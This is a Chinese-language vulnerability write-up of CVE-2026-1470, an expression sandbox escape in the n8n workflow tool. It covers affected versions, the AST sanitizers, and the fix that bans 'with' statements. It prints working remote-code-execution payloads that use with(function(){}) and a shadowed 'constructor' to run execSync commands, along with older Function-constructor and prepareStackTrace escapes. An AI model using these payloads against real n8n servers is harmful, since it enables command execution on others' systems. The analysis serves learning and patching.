CVE-2026-1470 n8n node表达式注入沙箱逃逸漏洞深度解析
从0到1分析了该漏洞的核心原理,并纠正部分误区
0x00 前言
最近爆出了CVE-2026-1470,是n8n自带的一个表达式的沙箱逃逸,实际上本质上还是js原型链相关的内容,学到了with的用法以及n8n的node执行沙箱原理,复现的时候思考了绕过的具体原理。看到也有相关文章做了分析,但只是按照审计的流程过了一遍,并未涉及沙箱具体的防护原理及Payload具体是如何构造的,并且描述可能有误区,所以还是有必要深入分析一下。
0x01 系统简介
- 系统简介:n8n 是一款基于节点的开源工作流自动化工具,允许用户通过可视化界面将不同的服务和 API 连接起来,无需编写代码即可实现复杂的自动化任务。它支持自托管,广泛应用于数据集成、任务自动化等场景。
- 环境搭建:
本次复现使用 n8n 官方 Docker 镜像 docker.n8n.io/n8nio/n8n:2.4.4。Docker 启动命令:
# 拉取受影响版本的镜像
docker pull docker.n8n.io/n8nio/n8n:2.4.4
# 交互式进入容器进行验证 (或直接使用 docker run 执行验证脚本)
docker run --rm -it --entrypoint /bin/sh docker.n8n.io/n8nio/n8n:2.4.40x02 漏洞基本信息
- 漏洞概述:n8n 的node表达式执行存在沙箱逃逸漏洞。认证用户可以在工作流配置中输入恶意表达式,利用 with 语句和 Function 构造函数绕过沙箱限制,访问全局对象并执行任意系统命令。
- 受影响版本:
- < 1.123.17
- [2.0.0, 2.4.5)
- [2.5.0, 2.5.1)
- 修复版本:
- 1.123.17
- 2.4.5
- 2.5.1
0x03 漏洞分析过程
一直以来的习惯都是根据漏洞关键信息,学习下这个漏洞的基本语法特性,然后拉下漏洞版本代码,以代码审计的思路走一遍,这样就代表自己也有能力发现这个漏洞,多了一个sink点技能。而不是上来直接diff下,往上跟到souce点,写个文章完事。要学会自己思考,如果没有 CVE,我能不能自己踩到这个雷?从复盘变成主动发现,扩充知识面,这个漏洞如果换一个点,还能不能出?这个修复是不是只堵了这一条路?有没有同语义、不同入口的等价漏洞?显然这些问题,diff 是回答不了的。
Tournament表达式
首先查阅n8n的文档发现,在workflows中可以使用表达式转换节点中的数据,也就是可以在表达式中使用JavaScript,以及n8n的内置方法、变量和数据转换函数。

表达式实际上就是n8n自己开发的tournament模板语言,也有对应的库https://github.com/n8n-io/tournament

语法的话,简单来讲就是用tournament这个库去执行{{可以执行nodejs代码}},官方有详细介绍,不展开讲基础语法了
// simple expressions
tournament.execute('{{ 1 + 2 }}', {}); // 3
// with data context
tournament.execute('{{ user.name }}', { user: { name: 'John' } }); // 'John'得,一开始看这洞说是nodejs沙箱绕过还以为是原生的,实际上这洞本质上就是调tournament.execute去做的代码执行。那从代码审计的角度来看就非常简单了,看代码中哪里调就行了
sink点定位
全局搜索Tournament#execute,可以定位到如下
packages/workflow/src/expression-evaluator-proxy.ts:
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
before: [ThisSanitizer],
after: [PrototypeSanitizer, DollarSignValidator], //
});但注意这里Tournament库会将输入解析为抽象语法树,在执行前使用了一些Sanitizer做了一些防护,能看到用了三个Sanitizer,这些都是在packages/workflow/src/expression-sandboxing.ts里,这文件定义了 AST 遍历规则,检查代码中是否包含禁止的节点或属性访问的。

这里的before、after很容易给大家造成误区,以为是执行前执行后的处理,比如91498这篇文章讲到“跟进执行前的安全检查,在这里面发现没有对with语句进行处理,且未切断原型链,只做了this绑定”,实际上人家都是在执行前检查的。
如下流程
parse → ASTBeforeHook → ASTAfterHook → evaluate先看ThisSanitizer,这里就是在 AST 刚刚被解析出来,但还没有进行核心的沙箱转换(比如把变量访问重写成 context.xxx )之前,把里面的 this 关键字替换成一个安全的对象(比如 {} ),或者给函数绑定一个空的上下文。防止通过 this 逃逸访问上下文。

然后看PrototypeSanitizer,这里就是在AST中对于对象属性ban掉了原型链属性 __proto__、prototype、constructor
讲一下,MemberExpression 指的是属性访问,比如如果是 obj.constructor,这里的 node.property.name 就是 "constructor"

具体的关键字如下,那自然会被拦截了。

这里基本上拦了我们常用的原型链污染的属性,比如我们之前常用的Payload
//获取Function
const userFunction = (function(){}).constructor;
userFunction("return process.mainModule.require('child_process').execSync('whoami')")();
// 之前V8引擎堆栈回溯的沙箱绕过
Error.prepareStackTrace = function(error, callSites) {
return callSites[0].getFunction();
};
const err = new Error();
err.stack;之后DollarSignValidator 限制了 $ 标识符,这一块不是重点,不再赘述。
所以总结一下,这一块对常见的原型污染、全局上下文访问、反射 API 都做了验证,是有防护的。
source点
往上跟调用就行,就是日常的代码审计回溯流程,不需要怎么重点分析。(看之前的文章都在讲这块,但这里不是沙箱逃逸的重点,没必要过一遍,你就算黑盒也能看到表达式执行点),这里主要是跟的过程中发现一个过滤点。
这里是evaluateExpression

这里传入表达式字符串

再跟就知道了,参数可控,找传表达式的地方就可以了,
这里注意对于传参做了过滤,在这里resolveSimpleParameterValue,正则直接过滤了.constructor

到这里代审的流程就已经完了,结论就是沙箱使用正则过滤了关键字,同时对AST解析后的内容做了防护。
0x04 沙箱绕过原理剖析
那到底该如何绕过呢?核心点就在于沙箱原理的绕过,之前的文章都没有讲,甚至描述有误,后面会提到。
with 语句绕过
互联网能找到的Payload 如下(当然了,我承认我不看POC,我确实不知道with这个语法,CTF没打过,积累的少):
{{ (function(){ var constructor = 123; with(function(){}){ return constructor("return process.mainModule.require('child_process').execSync('id').toString().trim()")() } })() }}with 语法基础:
作用是扩展代码块的作用域,使得代码块中的对象的属性可以直接访问,不需要前缀。例如,下面的代码:
var obj = {a: 1, b: 2};
with (obj) {
console.log(a); // 输出 1
console.log(b); // 输出 2
}with 将代码块中的对象的所有属性添加到当前作用域中,就可以直接访问这些属性了。比如在没有 with的情况下,我们必须通过 obj.a 和 obj.b 来访问属性,但是在 with 语句中,属性添加后,就可以直接用 a 和 b 来访问了。
那此时我们构造如下,function(){} 是一个空函数对象,包含constructor属性,那本质上不就是function(){}.constructor === Function吗,在语法形式上避开了 . ,绕过了第一步的正则。
with(function(){}) {
return constructor("return process.mainModule.require('child_process').execSync('id').toString().trim()")()
}
Payload构造原理
我想,那岂不是直接解析这段就可以了,但实验并不可以,n8n 的表达式引擎要求表达式在 {{ ... }} 里,但with在 JavaScript 语法里属于语句,不是表达式,直接写进去语法就报错了。

搜索后{{ (...)() }} 整体是一个 表达式 (函数调用表达式),改成如下写法,报错如下

这里实际上依然是被AST语法树拦截了,噢,AST解析由于变成了function(){}.constructor,自然被拦截了。

那这里就是需要先通过显式地声明 constructor = 123;,那么 constructor 变量不就变成了局部变量了,由于 PrototypeSanitizer 认为这只是一个普通的变量名引用,从而避开了 visitMemberExpression 的黑名单检查。
为啥会避过检查,因为constructor 现在是一个 Identifier。 而不是 obj.constructor 这种 MemberExpression,所以constructor("xxx")在 AST 看来只是:
CallExpression(
callee = Identifier("constructor")
)而实际执行的时候依然是function(){}.constructor,就很巧妙的绕过了这个语法拦截。

Object暴露在沙箱上下文导致漏洞-相关误区
看到其他文章都在说是因为Object暴露在沙箱上下文导致的
https://xz.aliyun.com/news/91498

https://xz.aliyun.com/news/91500

一开始我看到,噢确实暴露了Object,那岂不是可以直接使用
{{ (function(){ var constructor = 123; with(Object){ return constructor("return process.mainModule.require('child_process').execSync('id').toString().trim()")() } })() }}
但他们给到POC依然使用的是,那这跟描述的是一回事吗?使用with(function(){})创建作用域,解析的是Object.prototype
{{ (function(){ var constructor = 123; with(function(){}){ return constructor("return process.mainModule.require('child_process').execSync('id').toString().trim()")() } })() }}
所以就思考,难道是我的理解有误?那控制变量法,直接注释掉这里,重新编译运行

可以发现,访问不到Object了,则无法触发了

但是function(){}还是可以用的,那这两篇文章描述的是这个点的原因就应该不太对了,有没有完全不影响POC。
因为with(function(){}) 会让作用域链指向 function() 返回的对象(即函数),而每个函数的 constructor 都指向 Function。因此,不管沙箱上下文是否有 data.Object = Object;,constructor 始终会解析为 Function,从而允许执行通过 constructor 调用的代码。

0x05 漏洞修复分析
官方在版本 2.4.5 中修复了此漏洞(Commit aa4d1e5)。
修复后的 packages/workflow/src/expression-sandboxing.ts:
禁用 with 语句:直接在 AST 分析阶段检测并抛出错误。如果代码中包含 with 语句,visitWithStatement 会被触发并抛出异常,阻止代码执行。这彻底阻断了利用 with 改变作用域链来绕过检测的路径。

这里实际上也是在ASTAfterHook加的。
师傅,我想问一下这个CVE看起来是对于CVE-2025-68613补丁的一个绕过,用with绕过了this的限制,但是好像影响的范围和CVE-2025-68613不太一样,我在能复现CVE-2025-68613的n8n版本,用CVE-2026-1470的POC会显示 Arbitrary code execution detected,好像会被检测到,复现使用的版本是V1.65.0